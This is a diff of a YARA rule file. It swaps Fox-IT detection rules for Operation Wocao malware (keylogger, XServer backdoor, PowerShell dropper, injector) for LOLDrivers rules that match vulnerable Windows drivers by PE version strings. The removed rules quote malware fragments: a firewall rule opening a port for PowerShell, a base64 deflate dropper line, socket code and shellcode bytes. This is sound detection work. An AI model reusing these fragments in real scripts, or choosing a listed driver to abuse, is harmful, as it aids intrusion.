+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300030003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Keylogger_Py
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_86A1 : FILE
 {
 	meta:
-		description = "Strings from Python keylogger"
-		author = "Fox-IT SRT"
-		id = "f7b5ec1b-669e-5e7d-a9d3-011d212eb363"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L91-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2dc2ce153d559d795f302f5ca4a9ef9e6e5c54762472e38e6f4a26ef8a28a184"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "57b41ebc-6c75-5ba3-b2fc-0bb50e92207b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4945-L4964"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882"
+		logic_hash = "ed28688de49b089def60861ffe53f4e3a7f714b255035fdb19122375c83ebac2"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "c:\\windows\\temp\\tap.tmp"
-		$b = "c:\\windows\\temp\\mrteeh.tmp"
-		$c = "GenFileName"
-		$d = "outfile"
-		$e = "[PASTE:%d]"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Keylogger_File
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_61BE : FILE
 {
 	meta:
-		description = "Rule for finding keylogger output files"
-		author = "Fox-IT SRT"
-		id = "22e866b3-4b02-593a-b9a6-aa86870b6509"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L109-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d2d677b69eaf31843e8352bfe040c9e5a8d423d17900e022b769d28789f2d98"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "8242879f-ce39-5f05-b43e-ec2c6b185e82"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4967-L4986"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf"
+		logic_hash = "70969db52d4e88e1662902634e0cb21c44ab694928e15e4bdaa9a1b2604146dd"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = { 0d 0a 20 [3-10] 53 74 61 72 74 75 70 3a 20 [3] 20 [3] 20 [2] 20 [2] 3a [2] 3a [2] 20 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Csharp
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrserverddkprovider_Gdrvsys_Windowsrserverddkdriver_8899 : FILE
 {
 	meta:
-		description = "Strings from the CSharp version of XServer"
-		author = "Fox-IT SRT"
-		id = "48f4c88d-fb56-54ca-84e2-38f88804a50f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L123-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1201ee45df78cf3aec4b4bbb59cb7e4a70af6928895bb7c968ef02075a963405"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "e7728971-efb9-5c8b-8600-8f2b393d966e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4989-L5011"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "88992ddcb9aaedb8bfcc9b4354138d1f7b0d7dddb9e7fcc28590f27824bee5c3"
+		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+		hash = "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38"
+		hash = "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229"
+		logic_hash = "9e28e5d1a7003e9911b2c5a7597d1c45c304bdb18cb9177d459f2b35c0da9658"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "static void ServerX(int ListenPort)" ascii wide
-		$b = "public class xserver" ascii wide
-		$c = "[xserver]::Main($args);" ascii wide
-		$d = "add rule name=powershell dir=in localport=47000 action=allow" ascii wide
-		$e = "string TempFile = file_path + \".CT\";" ascii wide
-		$f = "Port = 256 * RecvBuf[AddrLen + 5] + RecvBuf[AddrLen + 6];"
-		$g = "CliSock.Send(new byte[] { 0x05, 0x00 });"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00310038003300300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0031003800330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Powershell_B64Encoded
+rule LOLDRIVERS_PUA_VULN_Driver_Filseclabcorporation_Fildds_Filseclabdynamicdefensesystem_F8C0 : FILE
 {
 	meta:
-		description = "Piece of Base64 encoded data from the XServer PowerShell dropper"
-		author = "Fox-IT SRT"
-		id = "01e38cfb-b245-5398-b037-6d1d2fb726ee"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L143-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77315f0fc8387fa87892fc8fcea1f6e8a95560049aaa9a87519859020d0a7a3e"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - fildds.sys"
+		author = "Florian Roth"
+		id = "6a9cf1b0-8d2c-522b-8fca-7f81f2aead8d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5014-L5033"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f8c07b6e2066a5a22a92d9f521ecdeb8c68698c400e4b83e0501b9f340957c22"
+		logic_hash = "5eb7f097384c0e4b418611a37d6a03dc7a6ff21814716489bf35e0bd43f390cf"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$header_47000 = "5T39c9u2kr/nr2A0Ny2VKIzkfLRJntuJHafPN/nwWG777rUZDy3BNq8UqSEpx26b"
-		$header_25667 = "5T1rc9u2st/zKxjNmZZKFEZyErdJ6nZsx+nxnTjxWGp77mkzHlqCbd5SpIak/Gjr"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00460069006c007300650063006c00610062002000440079006e0061006d0069006300200044006500660065006e00730065002000530079007300740065006d0020004400720076 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200038003500350033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200038003500350033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00660069006c006400640073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00460069006c007300650063006c00610062002000440079006e0061006d0069006300200044006500660065006e00730065002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00660069006c006400640073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d0032003000310031002000460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Xserver_Powershell_Dropper
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_BE8D : FILE
 {
 	meta:
-		description = "Strings from the PowerShell dropper of XServer"
-		author = "Fox-IT SRT"
-		id = "97169ab4-d68d-5137-83de-d9cac975747e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L157-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "640c9e52f3cf3df4e954177624e6fba4bab80a2c9442b718fe90e8577dafbbd6"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "e655289a-61d1-5908-b495-ce2c00caae3c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5036-L5055"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2"
+		logic_hash = "98be6af9aa551ba153413f75d4038b2840181418e0b8eba2cfcac2aa29a4460e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$encfile = "New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encfile)"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Injector_Bin
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_3E85 : FILE
 {
 	meta:
-		description = "Process injector/launcher"
-		author = "Fox-IT SRT"
-		id = "389279f1-6531-594f-97b6-5adbc8fa4d3d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L170-L193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8cd4e3c87c6d80b39069f7a94e512e3f7b739c21f6fd70c2a79829c5a04f32f"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "fde3f78e-f20e-5172-bede-b089c0851680"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5058-L5077"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3e85cf32562a47d51827b21ab1e7f8c26c0dbd1cd86272f3cc64caae61a7e5fb"
+		logic_hash = "23d11200a9d5ad71d8578e3ec3ac40ad6f7d9971177aa59a1ea6bac3de4f0b04"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "%s{%04d-%02d%02d-%02d%02d-%d%ld}.tmp"
-		$b = "s% > s% c/ exe.d"
-		$c = {
-            48 89 5C 24 08 48 89 74  24 10 57 48 83 EC 50 48
-            8B 71 08 48 8D 59 10 48  8B F9 48 8B CB FF 17 33
-            C9 48 8D 47 78 48 89 44  24 48 4C 8D 87 9C 03 00
-            00 48 89 5C 24 40 48 8D  97 90 00 00 00 4C 89 44
-            24 38 45 33 C9 48 89 4C  24 30 45 33 C0 89 4C 24
-            28 C7 44 24 20 01 00 00  00 66 89 4B 40 FF D6 48
-            8B 5C 24 60 33 C0 48 8B  74 24 68 48 83 C4 50 5F
-            C3
-        }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Timeliner_Bin
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3070 : FILE
 {
 	meta:
-		description = "Timeliner utility"
-		author = "Fox-IT SRT"
-		id = "3d81a4ae-0ce0-5867-ac93-a706556481b6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L195-L213"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3a8cddc34134faaab93ee0df0086604e4a7b031530dd65e2e8dab705483305b"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "38ae805f-4be8-526f-b3b3-d644b05c2b25"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5080-L5099"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab"
+		logic_hash = "05e9f35f83489d262ffece0c406eebf1b81514ea60278415fbc53adc0bc365fb"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "[+] Work completed." ascii wide
-		$b = "[-] Create a new file failed." ascii wide
-		$c = "[-] This is not a correct path." ascii wide
-		$d = "%s [TargetPath] <Num> <SavePath>" ascii wide
-		$e = "D\t%ld\t%ld\t%ld\t%d\t%d\t%s\t" ascii wide
-		$f = "D\t%ld\t%ld\t%ld\t-1\t%d\t%s\t" ascii wide
-		$g = "%s\t%ld\t%ld\t%ld\t%I64d\t%d\t%s\t%s" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0053004900200043006f006d00430065006e00530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Checkadmin_Bin
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CC58 : FILE
 {
 	meta:
-		description = "Checkadmin utility"
-		author = "Fox-IT SRT"
-		id = "2f819213-ade1-525b-af18-d77b7fc96093"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L215-L232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "784ec960ce2733aebc404ee5c09bb852eb45553ad167db292d05b82feedbd5a6"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "cfb96174-106f-5ad0-875b-1be75f70ce51"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5102-L5121"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b"
+		logic_hash = "8eb46633cce7959cfefbc65ede889c748a077cddc59fb79d87b54ddcd42ca524"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "[-] %s * A system error has occurred: %d" ascii wide
-		$b = {
-            0D 00 0A 00 25 00 6C 00 64 00 20 00 72 00 65 00
-            73 00 75 00 6C 00 74 00 73 00 2E 00 0D 00 0A 00
-        }
-		$c = "%s\t<Access denied>" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Getos_Py
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Rtkiosys_Windowsrcodenamelonghornddkdriver_916C : FILE
 {
 	meta:
-		description = "Python getos utility"
-		author = "Fox-IT SRT"
-		id = "4a731dde-87e4-566a-b559-d23e0bef5841"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L234-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2535c01b703c0fcba43e771832db8cd969e4a4b112ef28e4ddfeac6491ba604c"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "346488b2-5390-528e-8d54-5ed3dbc6e322"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5124-L5145"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677"
+		hash = "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab"
+		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
+		logic_hash = "e4834bc67ef64766852404f06631941fa3475b55718e4f79c53f121a9809dc5e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$smb_1 = {
